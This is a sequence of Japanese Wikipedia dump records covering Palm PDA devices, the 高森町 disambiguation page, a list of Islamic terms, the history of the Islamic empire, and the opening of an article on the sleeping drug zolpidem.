**: [[デフォルト (コンピュータ)|デフォルト]]では、4つの[[アプリケーションソフトウェア|アプリケーション]]に割り当てられており、ユーザーが自由にカスタマイズできる。
* 取り外せる入力用のスタイラスペンと、それを格納する穴などの機構。
* 本体裏面のリセットボタン
*: これはピンなどを使って押す必要がある。なお、多くのモデルでは、スタイラスの中にリセットピンが内蔵されている。近年の機種は、リセットボタンの直径がスタイラスの先端で押せる大きさに調整されている。
* Treo や TungstenC/W などの機体は、キーボードも搭載されている。
=== データの入力 ===
[[クレードル_(コンピュータ)|クレイドル]]と称する台座型の装置を介して[[パーソナルコンピュータ|パソコン]]と[[同期 (計算機科学)|同期]]を取る HotSync という仕組みを備え、[[ソフトウェア]]のインストールやデータの連携が容易になっている。データの同期を取るパソコンを、俗に'''母艦'''という。
文字入力には[[グラフィティ (Palm)|グラフィティ]]と呼ばれる、[[ラテン文字|アルファベット]]を元にした一筆書きの記号を手書き入力する。これは完全な文字認識に比べて処理も軽く、入力もしやすいとされている。例えば、「A」は「Λ」、「B」は「β」のように書き込む。「*」や「@」のような記号も入力できる。
また、入力領域を左右に分割し、左側を英文字、右側を数字の入力に完全に分離している。これにより、「1」と「I」、「O」と「0」、「5」と「S」、といった似た形の文字を同じストロークで確実に入力することが可能となっている。
現在は、Treoなどのキーボードデバイスが販売され、グラフィティもグラフィティ2となり進化している。グラフィティ2は、より本来のアルファベットの書き順を再現され、画面左端が小文字エリア、中央が大文字、右端が数字エリアとなっている。
== ソフトウェア ==
=== PalmOS ===
Palmの[[オペレーティングシステム]]、[[Garnet OS|Palm OS]]は他社にもライセンス供与され、[[IBM]]、[[ソニー]]などから互換機が発売されていた([[ハンドスプリング (企業)|Handspring]]も互換機を出していたが、同社はPalm社に買収され現存しない)。
現在、OSは分社化した PalmSource が開発し、各社にライセンス供与を行っているが、[[ACCESS (企業)|株式会社ACCESS]]が2005年11月15日にPalmSourceを買収し(現社名・[[ACCESS Systems]])、[[Linuxカーネル]]2.6 ベースの[[Access Linux Platform]] (ALP) の開発を始めた。ALP にはPalmOS [[エミュレータ (コンピュータ)|エミュレータ]]が内蔵されており、Palm OSアプリケーションが動く。他には[[GTK (ツールキット)|GTK]]アプリケーション、[[Java]]アプリケーションなどが動く。2007年にALP搭載端末の出荷が予定されている。事実上、PalmOS自体の開発は終わった。
=== アプリケーション ===
Palm デバイスには、メーカーなどによって異なるが、以下のようなソフトウェアが標準搭載されている。
* 予定表(カレンダー)
* アドレス帳
* ToDo(「やるべきこと」リスト)
* メモ帳
: 昔の機種(Tungsten シリーズ以前)は上記4つが、出荷時設定でアプリケーションボタンに割り当てられているが、最近では、予定表・アドレス帳・メール・ウェブ(Tungsten C)や、最後がホームに割り当てられているもの(Treo650)もある。
* 電卓
* 支払いメモ(Palm OS4 には搭載されていない)
* 電子メールリーダー(パソコンの未読電子メールを読める)
* 辞書(英英/英和/和英など)
: など
なおソフトウェア環境の仕様を広く公開しており、専用のプログラミング環境([[コンパイラ]]と[[エミュレータ (コンピュータ)|エミュレータ]]がセットになっている)も無償で提供されているものもあり、世界中に[[フリーウェア]]作家が存在している。またPalmの欠点ともいえるリソースの少なさは、逆にプログラマー達の創作意欲をくすぐるのか、他の PDA と比較しても全般的にフリーウェアの完成度は高いとされる{{誰2|date=2011年2月}}。しかしその一方で、PDA 初の[[コンピュータウイルス]]([[トロイの木馬 (ソフトウェア)|トロイの木馬]])が発見されたのもこのOSである。
== 特色 ==
旧来の機種は[[フラッシュメモリ]]容量が4MBや8MBでメモリカード非対応となっていたが、最近の機種では標準で32〜128MBになっている他、[[SDメモリーカード]]等のメモリカードにも対応し、フラッシュメモリーを搭載した機種もある。[[ハイエンド]]機のスペックは一昔前のPocket PCとさほど変わらない。メーカーによっては、[[デジタルオーディオプレーヤー]]や[[デジタルカメラ]]・[[グローバル・ポジショニング・システム|GPS]]・[[Wi-Fi]]・[[Bluetooth]]といった付加機能を搭載している機種もあり、一部には[[バーコード]]リーダー組み込みとなっている製品もある。近年では腕時計型や[[ハードディスクドライブ|ハードディスク]]を搭載した機種も発売されている。一方で、もともとの実用本位な設計理念もあって、非常に安価な機種も多い。また、先発である事や前出の開発環境が無償提供されている事もあって、ソフトウェア資産の豊富さでは、他のPDAから突出している。
しかし、ハードウェアの進化に比べてOSの進化は遅れている。Palmが登場した時代には、シンプルなハードウェア、アーキテクチャでシンプルなユーザインタフェース、シンプルなソフトウェアを駆動するというコンセプトは確かに正しく、また成功を収めたが、現在ではややアンバランスなシステムになってしまった感は否めない。
さらに、後発のPocket PCと競合するうちに、日本のPDA 市場そのものが高機能[[携帯電話]]に押されて縮小傾向となり、2002年9月、パームコンピューティング社をはじめとする海外メーカーは日本市場から撤退してしまった。その一方、アメリカではPalmOSを採用した携帯電話が登場している。<ref>[http://news.mynavi.jp/news/2001/03/05/08.html]Palm OS搭載のスマートフォン「Kyocera QCP 6035」が米市場に登場</ref>北米市場においては、安価でシンプルな Zire シリーズ、ビジネスマンに人気の Tungsten シリーズ、[[スマートフォン]]の[[Treo]]シリーズが比較的好調に推移しており、Palmの売り上げも半分以上がスマートフォンとなった。なお、日本で([[W-ZERO3]]など)スマートフォンが本格登場し始めたのはCLIE撤退後である。
== メーカー・ブランド一覧 ==
[[ファイル:PalmPilot5000.jpg|120px|right|thumb|PalmPilot 5000]]
[[ファイル:Palm Zire 72.JPG|120px|right|thumb|Zire 72]]
[[ファイル:Handspring visor edge.triddle.jpg|180px|right|thumb|Visor Edge]]
Palm デバイスを提供している(いた)メーカーと、製品ブランドの一覧。
* [[パーム (企業)|Palm, Inc.(旧・palmOne、)]]
**[[PalmPilot]]([[パイロットコーポレーション|パイロット]]から[[商標|商標権]]侵害で訴えられ、使用を中止することで和解した<ref>[https://pc.watch.impress.co.jp/docs/article/980422/pilot.htm PC Watch 【業界動向】 パイロット、3Comと「Pilot」に関する商標権侵害で和解] PC Watch、1998年4月22日</ref>。)
** Palm
** Tungsten
** Tungsten T5(フラッシュメモリーを搭載)
** Zire
** Treo(Handspring を買収)
** LifeDrive(4GB の MicroDrive 搭載)
** TX
** Centro
* [[ハンドスプリング (企業)|Handspring]]
** Visor
** Treo
* [[ソニー]]
** [[CLIE]](2005年7月販売終了)
* [[IBM]]
** [[WorkPad]](Palm の OEM)
** [[WorkPad 31J]]([[PHS]]内蔵)
* TRG
** TRGpro
** HandEra 330
* Tapwave
** Zodiac1
** Zodiac2
== 脚注 ==
{{Reflist}}
== 関連項目 ==
{{Commonscat|Palm OS Powered|Palm OS 搭載機}}
* [[パーム (企業)]]
* [[ACCESS Systems]] (旧称・PalmSource)
* [[Garnet OS]] (Palm OS)
* [[ハンドスプリング (企業)|Handspring]]
* [[CLIE]]
{{Normdaten}}
[[Category:携帯情報端末|はむ]]
[[fr:Palm, Inc.]] | null | 2022-10-01T15:09:06Z | false | false | false | [
"Template:Normdaten",
"Template:誰2",
"Template:Reflist",
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]
| https://ja.wikipedia.org/wiki/Palm_(PDA) |
6,879 | 高森町 | []
| 自治体
高森町 (長野県) - 長野県 下伊那郡 に所在。(たかもりまち)
高森町 (熊本県) - 熊本県 阿蘇郡 に所在。(たかもりまち)
高森町 (山口県) - 山口県 玖珂郡 に所在。現・岩国市。(たかもりちょう)
大字・町丁
高森町(越前市) - 福井県越前市にある町名。 | * 自治体
** [[高森町 (長野県)]] - [[長野県]] [[下伊那郡]] に所在。(たかもりまち)
** [[高森町 (熊本県)]] - [[熊本県]] [[阿蘇郡]] に所在。(たかもりまち)
** [[高森町 (山口県)]] - [[山口県]] [[玖珂郡]] に所在。現・[[岩国市]]。(たかもりちょう)
* 大字・町丁
** [[高森町(越前市)]] - [[福井県]][[越前市]]にある町名。
==関連項目==
*[[高森 (曖昧さ回避)]]
{{地名の曖昧さ回避|たかもり}} | null | 2020-12-22T17:23:07Z | false | false | false | [
"Template:地名の曖昧さ回避"
]
| https://ja.wikipedia.org/wiki/%E9%AB%98%E6%A3%AE%E7%94%BA |
|
6,880 | イスラーム用語一覧 | イスラーム用語一覧では、イスラーム(イスラム教)の主に宗教、文明、文化に関わる用語を一覧する。
アイユーブ朝 - アイン・ジャールートの戦い - アサビーヤ - アザーン - アーシューラー - アズラク派 - アダム - アッバース朝 - アッラーフ -アフシャール朝 - アブラハムの宗教 - アミール - アーミル - アーヤトッラー - アラー(⇒アッラーフ) - アラウィー派 - アラビア語 - アラビア神話 - アラビア半島 - アラビア文学 - アラビア文字 - アラブ人 - アラブ音楽 - アラブ諸国 - アラブ民族主義 - アラビア科学 - アルバイン - アルハンブラ宮殿 - アルミラージ - アンサール - イード・アル=フィトル - イシャーン - イジュティハード - イスマーイール派 - イスラエル
井筒俊彦 - イバード派 - イフラーム - イマーム - イラン・イラク戦争 - イラン革命 - イル・ハン国 - イーワーン - インジール - インドネシア - ウィラーヤ - ウドゥ - ウフドの戦い - ウマイヤ朝 - ウムラ - ウンマ - エルサレム - 大川周明 - オスマン帝国
カアバ神殿 - 回教 - 回教圏研究所 - 回族 - ガイバ - ガザーリー - ガージャール朝 - カーディシーヤの戦い - 神 - カリフ - カルバラー - カルマト派 - 喜捨 - キブラ - キリスト教 - 教典 - クッターブ - クライシュ族 - クルアーン - クルアーン主義 - クルド人 - 啓示 - 啓典 - 後ウマイヤ朝 - 五行 (イスラム教) - コーラン(クルアーン) - コーランか剣か
サイイド - サウム - ザカート - サドル - サハーバ - サファヴィー朝 - サーマーン朝 - ザムザム - サラート - 塹壕の戦い - シーア派 - シェイク - 使徒 - ジハード - ジブリール - シャー - シャハーダ - ジャーヒリーヤ - シャーフィイー派 - シャリーア - 宗教 - 十字軍 - 十二イマーム派 - 殉教 - 巡礼 - 信仰告白 - スーフィー - スーフィズム - スィッフィーンの戦い - スルタン - スンナ - スンナ派 - 聖戦 - 聖典 - 正統カリフ - セルジューク朝
タージ・マハル - ターズィエ - ダウ船 - タウヒード - タラス河畔の戦い - 断食 - 中東 - ティムール朝 - 定命 - 天使 - 導師 - 東亜経済調査局 - ドゥルーズ派 - トーラー - トルコ - トルコ人 - 奴隷 - ドンガン人
ナビー(⇒預言者) - ネーション・オブ・イスラム
ハーシム家 - ハッジ - ハディース - ハディース批判 - バドルの戦い - ハナフィー派 - パフラヴィー朝 - ハラーム - ハラール - パレスチナ人 - パレスチナ問題 - ハワーリジュ派 - ハンダクの戦い - ハンバル派 - ヒジャーズ - ヒジャブ - ヒジュラ - ヒジュラ暦 - ヒズボラ - ヒヤル - ファトワー - 回回教 - ファーティマ朝 - 福音書 - ブルカ - ブワイフ朝 - 文化的ムスリム - ベルベル人 - ホジャ
マーリク派 - 前嶋信次 - マカーム - マッカ - マディーナ - マドラサ - マフディー - マホメット(⇒ムハンマド) - マムルーク - マムルーク朝 - ミッラ - ミッレト制 - ミナレット - ムアーウィヤ - ムアッジン - ムガル帝国 - ムジャーヒディーン - ムスリム - ムダーラバ - ムハンマド - 名誉の殺人 - メッカ - メディナ - モスク - モーセ - モロ
ヤスリブ(⇒マディーナ) - ユダヤ教 - 預言者 - 預言者生誕祭 - 予定
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"text": "イスラーム用語一覧では、イスラーム(イスラム教)の主に宗教、文明、文化に関わる用語を一覧する。",
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]
| イスラーム用語一覧では、イスラーム(イスラム教)の主に宗教、文明、文化に関わる用語を一覧する。 | {{Islam}}
'''イスラーム用語一覧'''<!--(イスラームようごいちらん)-->では、[[イスラーム]]([[イスラム教]])の主に宗教、文明、文化に関わる用語を一覧する。
<!--[[画像:Mecca.jpg|thumb|250px|[[マスジド・ハラーム|聖モスク]](マッカ)。中心に見える黒い立方体が[[カアバ神殿]]である]]-->
== あ行 ==
[[アイユーブ朝]] - [[アイン・ジャールートの戦い]] - [[アサビーヤ]] - [[アザーン]] - [[アーシューラー]] - [[アズラク派]] - [[アダム]] - [[アッバース朝]] - [[アッラーフ]] -[[アフシャール朝]] - [[アブラハムの宗教]] - [[アミール]] - [[アーミル]] - [[アーヤトッラー]] - アラー(⇒[[アッラーフ]]) - [[アラウィー派]] - [[アラビア語]] - [[アラビア神話]] - [[アラビア半島]] - [[アラビア文学]] - [[アラビア文字]] - [[アラブ人]] - [[アラブ音楽]] - [[アラブ諸国]] - [[アラブ民族主義]] - [[アラビア科学]] - [[アルバイン]] - [[アルハンブラ宮殿]] - [[アルミラージ]] - [[アンサール (イスラーム)|アンサール]] - [[イード・アル=フィトル]] - [[イシャーン]] - [[イジュティハード]] - [[イスマーイール派]] - [[イスラエル]]
;'''イスラーム'''
:[[イスラム王朝]] - [[イスラム科学]] - [[イスラム教国]] - [[イスラム共同体]] - [[イスラム共和制]] - [[イスラム銀行]] - [[イスラム経済]] - [[イスラーム建築]] - [[イスラム原理主義]] - [[イスラム国家]] - [[イスラーム社会]] - [[イスラム主義]] - [[イスラム諸国会議機構]] - [[イスラム神秘主義]] - [[イスラム世界]] - [[イスラム帝国]] - [[イスラム哲学]] - [[イスラーム美術]] - [[イスラーム復興]] - [[イスラーム文明]] - イスラーム法(⇒[[シャリーア]]) - [[イスラム法学者]] - イスラーム暦(⇒[[ヒジュラ暦]])
[[井筒俊彦]] - [[イバード派]] - [[イフラーム]] - [[イマーム]] - [[イラン・イラク戦争]] - [[イラン革命]] - [[イル・ハン国]] - [[イーワーン]] - [[インジール]] - [[インドネシア]] - [[ウィラーヤ]] - [[ウドゥ]] - [[ウフドの戦い]] - [[ウマイヤ朝]] - [[ウムラ]] - [[ウンマ (イスラム)|ウンマ]] - [[エルサレム]] - [[大川周明]] - [[オスマン帝国]]
== か行 ==
[[カアバ神殿]] - [[回教]] - [[回教圏研究所]] - [[回族]] - [[ガイバ (イスラム教)|ガイバ]] - [[ガザーリー]] - [[ガージャール朝]] - [[カーディシーヤの戦い]] - [[神]] - [[カリフ]] - [[カルバラー]] - [[カルマト派]] - [[喜捨]] - [[キブラ]] - [[キリスト教]] - [[教典]] - [[クッターブ]] - [[クライシュ族]] - [[クルアーン]] - [[クルアーン主義]] - [[クルド人]] - [[啓示]] - [[啓典]] - [[後ウマイヤ朝]] - [[五行 (イスラム教)]] - コーラン([[クルアーン]]) - [[コーランか剣か]]
== さ行 ==
[[サイイド]] - [[サウム]] - [[ザカート]] - [[サドル (イスラム)|サドル]] - [[サハーバ]] - [[サファヴィー朝]] - [[サーマーン朝]] - [[ザムザム]] - [[サラート]] - [[ハンダクの戦い|塹壕の戦い]] - [[シーア派]] - [[シャイフ|シェイク]] - [[使徒]] - [[ジハード]] - [[ガブリエル|ジブリール]] - [[シャー]] - [[シャハーダ]] - [[ジャーヒリーヤ]] - [[シャーフィイー派]] - [[シャリーア]] - [[宗教]] - [[十字軍]] - [[十二イマーム派]] - [[殉教]] - [[巡礼]] - [[信仰告白]] - [[スーフィー]] - [[スーフィズム]] - [[スィッフィーンの戦い]] - [[スルタン]] - [[スンナ]] - [[スンナ派]] - [[聖戦]] - [[聖典]] - [[正統カリフ]] - [[セルジューク朝]]
== た行 ==
[[タージ・マハル]] - [[ターズィエ]] - [[ダウ船]] - [[タウヒード]] - [[タラス河畔の戦い]] - [[断食]] - [[中東]] - [[ティムール朝]] - [[定命 (イスラム教)|定命]] - [[天使]] - [[導師]] - [[東亜経済調査局]] - [[ドゥルーズ派]] - [[モーセ五書|トーラー]] - [[トルコ]] - [[トルコ人]] - [[奴隷]] - [[ドンガン人]]
== な行 ==
ナビー(⇒[[預言者]]) - [[ネーション・オブ・イスラム]]
== は行 ==
[[ハーシム家]] - [[ハッジ]] - [[ハディース]] - [[ハディース批判]] - [[バドルの戦い]] - [[ハナフィー派]] - [[パフラヴィー朝]] - [[ハラーム]] - [[ハラール]] - [[パレスチナ人]] - [[パレスチナ問題]] - [[ハワーリジュ派]] - [[ハンダクの戦い]] - [[ハンバル派]] - [[ヒジャーズ]] - [[ヒジャブ]] - [[ヒジュラ]] - [[ヒジュラ暦]] - [[ヒズボラ]] - [[ヒヤル]] - [[ファトワー]] - [[回回教]] - [[ファーティマ朝]] - [[福音書]] - [[ブルカ]] - [[ブワイフ朝]] - [[文化的ムスリム]] - [[ベルベル人]] - [[ホジャ]]
== ま行 ==
[[マーリク派]] - [[前嶋信次]] - [[マカーム]] - [[マッカ]] - [[マディーナ]] - [[マドラサ]] - [[マフディー]] - マホメット(⇒[[ムハンマド・イブン=アブドゥッラーフ|ムハンマド]]) - [[マムルーク]] - [[マムルーク朝]] - [[ミッラ]] - [[ミッレト制]] - [[ミナレット]] - [[ムアーウィヤ]] - [[ムアッジン]] - [[ムガル帝国]] - [[ムジャーヒディーン]] - [[ムスリム]] - [[ムダーラバ]] - [[ムハンマド・イブン=アブドゥッラーフ|ムハンマド]] - [[名誉の殺人]] - [[マッカ|メッカ]] - [[マディーナ|メディナ]] - [[モスク]] - [[モーセ]] - [[モロ]]
== や行 ==
ヤスリブ(⇒[[マディーナ]]) - [[ユダヤ教]] - [[預言者]] - [[預言者生誕祭]] - [[予定]]
== ら行 ==
[[来世]] - ラスール(⇒[[使徒]]) - [[礼拝]] - [[ラマダーン]] - [[六信]]
== わ行 ==
[[ワクフ]] - [[ワッハーブ派]]
== 英数字・略語 ==
[[OIC]] - [[PLO]]
== 関連項目 ==
* [[宗教一覧]]
* [[キリスト教用語一覧]]
* [[仏教用語一覧]]
* [[天使の一覧]]
* [[:Category:イスラム・スタブ]]
* [[Portal:イスラーム]]
== 関連サイト ==
{{ウィキポータルリンク|イスラーム|[[画像:Allah-green.svg|34px|Portal:イスラーム]]}}
* [https://www.ioc.u-tokyo.ac.jp/~islam2/search.shtml 平凡社『イスラム事典』](1982年)(全文検索可)
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[[Category:イスラーム用語|*いすらむようこいちらん]]
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6,881 | イスラム帝国 | イスラム帝国(イスラムていこく、アラビア語: خلافة, 英語: caliphate)は、イスラム教(イスラーム)の教えに従って生まれたイスラム共同体(ウンマ)の主流派政権が形成した帝国のこと。
この用語は、イスラム帝国と呼ばれる政権自身の用いた呼び名に基づいたものではなく、現代の歴史叙述の上で便宜的に用いているものである。現代日本の用例では、おおよそ2つの使い方がある。
大食(タージ)は、ペルシャ語の (Tāzī) の中国語音訳である。元来はアラブ人のことであるが、拡大してイスラム教徒全体や、その国家を表すようになった。
(Tāzī) は、アラブの有力部族だったタイイ族 (Tayy) の名から来ている。タジク人と同語源という説もある。
イスラム教の開祖ムハンマドの死後、ムハンマドの代理人としてイスラム共同体の後継指導者となった4人のカリフたちが構築した国家。首都はムハンマド以来のイスラム共同体の所在地であるマディーナ(メディナ)がそのまま使われた。
初代カリフのアブー=バクルのときアラビア半島のアラブ人を統一、第2代カリフのウマル・イブン・ハッターブのときにはシリア地方、エジプト、イラク、イランにまで兵を進めて、アラブ人が多民族を支配する帝国を築き上げた。
第4代カリフのアリー・イブン・アビー・ターリブのとき、首都をイラクのクーファに移したが、同じころ内部対立による不満が高まり、反乱が続発する。第3代カリフのウスマーン・イブン・アッファーンおよび第4代アリーは反対派により暗殺された。
アリーの暗殺後、アリーの政敵であったシリア総督ムアーウィヤが自らカリフに就任して建設した政権。就任に至る経緯、およびムアーウィヤがカリフ位の世襲化を始めたことから、これまでの4人の正統カリフに比べて合法性で劣るとみなされたが、大多数のムスリム(スンナ派)はウマイヤ朝の支配を承認したので、イスラム帝国最初の世襲王朝となった。
ウマイヤ朝は正統カリフ時代末期の内紛を収めて安定した支配を構築すると、西では北アフリカ、アンダルス(イベリア半島)、東ではホラーサーンまで勢力を広げ、アラブ人が異民族を支配する『大世界帝国』へと発展した。
8世紀半ば、ウマイヤ家よりもムハンマドの家系に近いアッバース家を指導者として行われた革命によって成立した政権。ホラーサーンを王朝発祥の基盤とする東向きの帝国で、イラクのバグダードを首都とした。アンダルスではウマイヤ朝の残党が後ウマイヤ朝を建設してアッバース朝の支配から離れたが、それを除いた帝国のほとんどを継承し、さらにタラス河畔の戦いで唐軍を撃退すると中央アジア、インドまで勢力を広げてイスラム国家としては過去最大の版図を実現した。
王朝の初期にはアッバース革命に参加したイランのペルシア人たちが政権において官僚として活躍し、地方でもアラブ人の絶対支配体制が解消されてムスリムの原則的な平等が実現した。このため、非アラブ人はイスラムに改宗することによる税制上のメリットが得られるようになり、アラブ化・イスラム化が進むことになる。また、カリフの政治はイスラーム法に基づいて実施されるようになった。このため特にアッバース朝こそを「イスラム帝国」と呼ぶこともある。
しかし、9世紀に入ると地方が次第に自立し始め、早くも統一が失われていった。10世紀には北アフリカで興ったファーティマ朝がシーア派を奉じ、アッバース朝に対抗してカリフを称した。さらにアンダルスの後ウマイヤ朝もファーティマ朝との対抗上カリフを自称し、イスラム世界に3人のカリフが並存する本格的な分裂時代に入った。
また、バグダードのアッバース朝中央ではマムルーク(奴隷身分出身の軍人)がカリフにかわって実権を握り、アッバース朝の支配は弱体化した。946年にはイランのシーア派王朝ブワイフ朝がバグダードの支配権を握ってカリフ政権は形骸化し、1055年にはブワイフ朝を滅ぼしたセルジューク朝がカリフからスルターンの称号を与えられて世俗の支配権を譲られ、カリフは名目的な支配者となっていった。
セルジューク朝の衰亡後、バグダード周辺の支配力を回復しつつ、イスラム帝国の支配者カリフとして各地のスンナ派諸王朝に名目的な宗主権を認めさせていたアッバース朝がモンゴル帝国によって完全に滅ぼされるのは1258年のことである。以後もカリフを主張する者は現れたが、スルタンの権威づけの道具に過ぎなかった。 | [
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]
| イスラム帝国は、イスラム教(イスラーム)の教えに従って生まれたイスラム共同体(ウンマ)の主流派政権が形成した帝国のこと。 | {{出典の明記|date=2010年3月}}
{{Otheruseslist|'''過去に存在したイスラムによる帝国'''|イスラムの[[帝国]]的・[[帝政]]的な[[理念]]や[[政策]]|イスラム帝国主義|現代のイスラムが提唱する帝国|世界イスラム帝国}}
{{Islam}}
'''イスラム帝国'''(イスラムていこく、{{lang-ar|خلافة}}, {{lang-en|caliphate}})は、[[イスラム教]](イスラーム)の教えに従って生まれたイスラム共同体([[ウンマ (イスラム)|ウンマ]])の主流派政権が形成した[[帝国]]のこと。
== 定義 ==
この用語は、イスラム帝国と呼ばれる政権自身の用いた呼び名に基づいたものではなく、現代の歴史叙述の上で便宜的に用いているものである。現代日本の用例では、おおよそ2つの使い方がある。
#[[イスラム国家]]の帝国的な支配体制のうち、[[アッバース朝]]において実現された、[[ムスリム]](イスラム教徒)であれば平等に支配される国家体制のこと。[[正統カリフ]]時代から[[ウマイヤ朝]]の時代において、ムスリムであっても軍人として俸給([[アター]])を受け、人頭税([[ジズヤ]])を免除されるのは[[アラブ人]]のみというように、アラブが支配階級として君臨していた体制を指して「'''アラブ帝国'''」と呼ぶのに対比する形で用いられる。世界の歴史学者の間では、この理解が一般的である。
#[[イスラム世界]]の中心的な[[イスラム王朝|王朝]]を漠然とイスラム帝国と呼ぶもの。日本において「イスラム帝国」という用語は、一般的にこのように理解されていることが多いようである。
== 大食 ==
大食(タージ)は、[[ペルシア語|ペルシャ語]]の ({{en|Tāzī}}) の[[中国語]]音訳である。元来は[[アラブ人]]のことであるが、拡大してイスラム教徒全体や、その国家を表すようになった。
({{en|Tāzī}}) は、アラブの有力部族だった[[タイイ族]] ({{interlang|en|Tayy}}) の名から来ている。[[タジク人]]と同語源という説もある。
{{-}}
== 政権 ==
[[ファイル:Map of expansion of Caliphate.svg|thumb|420px|'''[[イスラム世界]]の領土拡大'''{{legend|#a1584e|ムハンマド下における領土拡大, 622–632}} {{legend|#ef9070|[[正統カリフ]]時代における領土拡大、632年 – 661年}} {{legend|#fad07d|[[ウマイヤ朝]]時代における領土拡大、661年 – 750年}}預言者ムハンマドの時代は[[アラビア半島]]のみがイスラーム勢力の範囲内であったが、正統カリフ時代には[[シリア]]・[[エジプト]]・[[ペルシャ]]が、ウマイヤ朝時代には東は[[トランスオクシアナ]]、西は[[モロッコ]]・[[イベリア半島]]が勢力下に入った。]]
=== 正統カリフ時代のイスラム国家 ===
イスラム教の開祖[[ムハンマド・イブン=アブドゥッラーフ|ムハンマド]]の死後、ムハンマドの代理人としてイスラム共同体の後継指導者となった4人の[[カリフ]]たちが構築した国家。首都はムハンマド以来のイスラム共同体の所在地である[[マディーナ]](メディナ)がそのまま使われた。
初代カリフの[[アブー=バクル]]のとき[[アラビア半島]]のアラブ人を統一、第2代カリフの[[ウマル・イブン・ハッターブ]]のときには[[歴史的シリア|シリア地方]]、[[エジプト]]、[[イラク]]、[[イラン]]にまで兵を進めて、アラブ人が多民族を支配する帝国を築き上げた。
第4代カリフの[[アリー・イブン・アビー・ターリブ]]のとき、首都をイラクの[[クーファ]]に移したが、同じころ内部対立による不満が高まり、反乱が続発する。第3代カリフの[[ウスマーン・イブン・アッファーン]]および第4代アリーは反対派により暗殺された。
=== ウマイヤ朝 ===
{{Main|ウマイヤ朝}}
[[ファイル:Omayyad mosque.jpg|thumb|320px|'''ダマスカスの[[ウマイヤド・モスク]]''':現在でも利用されているモスクとしては最も古いものの一つであり、規模も最大級である。]]
アリーの暗殺後、アリーの政敵であったシリア総督[[ムアーウィヤ]]が自らカリフに就任して建設した政権。就任に至る経緯、およびムアーウィヤがカリフ位の世襲化を始めたことから、これまでの4人の正統カリフに比べて合法性で劣るとみなされたが、大多数のムスリム([[スンナ派]])はウマイヤ朝の支配を承認したので、イスラム帝国最初の世襲王朝となった。
ウマイヤ朝は正統カリフ時代末期の内紛を収めて安定した支配を構築すると、西では[[北アフリカ]]、[[アンダルス]](イベリア半島)、東では[[ホラーサーン]]まで勢力を広げ、[[アラブ人]]が異民族を支配する『大世界帝国』へと発展した。
=== アッバース朝 ===
{{Main|アッバース朝}}
[[ファイル:Abbasids850.png|thumb|350px|東西交易、農業灌漑の発展によってアッバース朝は繁栄し、首都[[バグダード]]は当時、地域最大の都市だった。アッバース朝では、[[エジプト]]、[[バビロニア]]の伝統文化を基礎にして、[[インド]]、アラビア、[[ペルシア]]、中華、[[古代ギリシア|ギリシア]]などの諸文明の融合がなされたことで、学問が著しい発展を遂げ、近代科学に多大な影響を与えた。]]
[[8世紀]]半ば、[[ウマイヤ家]]よりもムハンマドの家系に近い[[アッバース家]]を指導者として行われた革命によって成立した政権。ホラーサーンを王朝発祥の基盤とする東向きの帝国で、イラクの[[バグダード]]を首都とした。アンダルスではウマイヤ朝の残党が[[後ウマイヤ朝]]を建設してアッバース朝の支配から離れたが、それを除いた帝国のほとんどを継承し、さらに[[タラス河畔の戦い]]で[[唐]]軍を撃退すると[[中央アジア]]、[[インド]]まで勢力を広げてイスラム国家としては過去最大の版図を実現した。
王朝の初期には[[アッバース革命]]に参加したイランの[[ペルシア人]]たちが政権において官僚として活躍し、地方でもアラブ人の絶対支配体制が解消されてムスリムの原則的な平等が実現した。このため、非アラブ人はイスラムに[[改宗]]することによる税制上のメリットが得られるようになり、アラブ化・イスラム化が進むことになる。また、カリフの政治は[[イスラーム法]]に基づいて実施されるようになった。このため特に[[アッバース朝]]こそを「イスラム帝国」と呼ぶこともある。
しかし、[[9世紀]]に入ると地方が次第に自立し始め、早くも統一が失われていった。[[10世紀]]には北アフリカで興った[[ファーティマ朝]]が[[シーア派]]を奉じ、アッバース朝に対抗してカリフを称した。さらにアンダルスの後ウマイヤ朝もファーティマ朝との対抗上カリフを自称し、イスラム世界に3人のカリフが並存する本格的な分裂時代に入った。
また、バグダードのアッバース朝中央では[[マムルーク]](奴隷身分出身の軍人)がカリフにかわって実権を握り、アッバース朝の支配は弱体化した。[[946年]]にはイランのシーア派王朝[[ブワイフ朝]]がバグダードの支配権を握ってカリフ政権は形骸化し、[[1055年]]にはブワイフ朝を滅ぼした[[セルジューク朝]]がカリフから[[スルターン]]の称号を与えられて世俗の支配権を譲られ、カリフは名目的な支配者となっていった。
セルジューク朝の衰亡後、バグダード周辺の支配力を回復しつつ、イスラム帝国の支配者カリフとして各地のスンナ派諸王朝に名目的な宗主権を認めさせていたアッバース朝が[[モンゴル帝国]]によって完全に滅ぼされるのは[[1258年]]のことである。以後もカリフを主張する者は現れたが、スルタンの権威づけの道具に過ぎなかった。
<!--
== 脚注 ==
{{脚注ヘルプ}}
{{Reflist}}-->
== 参考文献 ==
== 関連項目 ==
*[[イスラム共同体]]
*[[イスラム国家]]
*[[イスラム王朝]]
*[[正統カリフ]]
*[[ウマイヤ朝]]
*[[アッバース朝]]
*[[カリフ]]
*[[スルターン]]
*[[アッバース革命]]
*[[オスマン帝国]]
*[[知恵の館]]
== 外部リンク ==
* {{Kotobank}}
{{Normdaten}}
{{DEFAULTSORT:いすらむていこく}}
[[Category:イスラム世界史]]
[[Category:アラブ史]]
[[Category:イスラム王朝|*ていこく]]
[[Category:かつて存在した帝国]]
[[Category:1千年紀]]
[[Category:2千年紀]]
[[Category:かつて存在したアフリカの君主国]]
[[Category:宗教国家]]
[[Category:イスラム国家]] | 2003-04-17T18:48:13Z | 2023-08-02T07:10:35Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E3%82%A4%E3%82%B9%E3%83%A9%E3%83%A0%E5%B8%9D%E5%9B%BD |
6,885 | ゾルピデム | ゾルピデム(Zolpidem)は、イミダゾピリジン系に分類される非ベンゾジアゼピン系の睡眠導入剤に用いられる化合物である。ベンゾジアゼピン受容体作動薬に分類される。脳のGABAA受容体のω1サブタイプに作用することで効果を示す。日本での商品名はマイスリーで、アステラス製薬が販売する。同じく睡眠導入剤のゾピクロン(アモバン)、エスゾピクロン(ルネスタ)、トリアゾラム(ハルシオン)と同様に超短時間作用型であり、寝付きの改善薬として処方される。
麻薬及び向精神薬取締法における第3種向精神薬である。日本では、医薬品医療機器等法の処方箋医薬品と習慣性医薬品に指定されている。
ゾルピデムは、フランスのサノフィ・サンテラボ社(現サノフィ)が開発し、1992年に世界で初めて販売が開始される。アメリカではアンビエン(Ambien)、欧州ではStilnoxとして販売される。
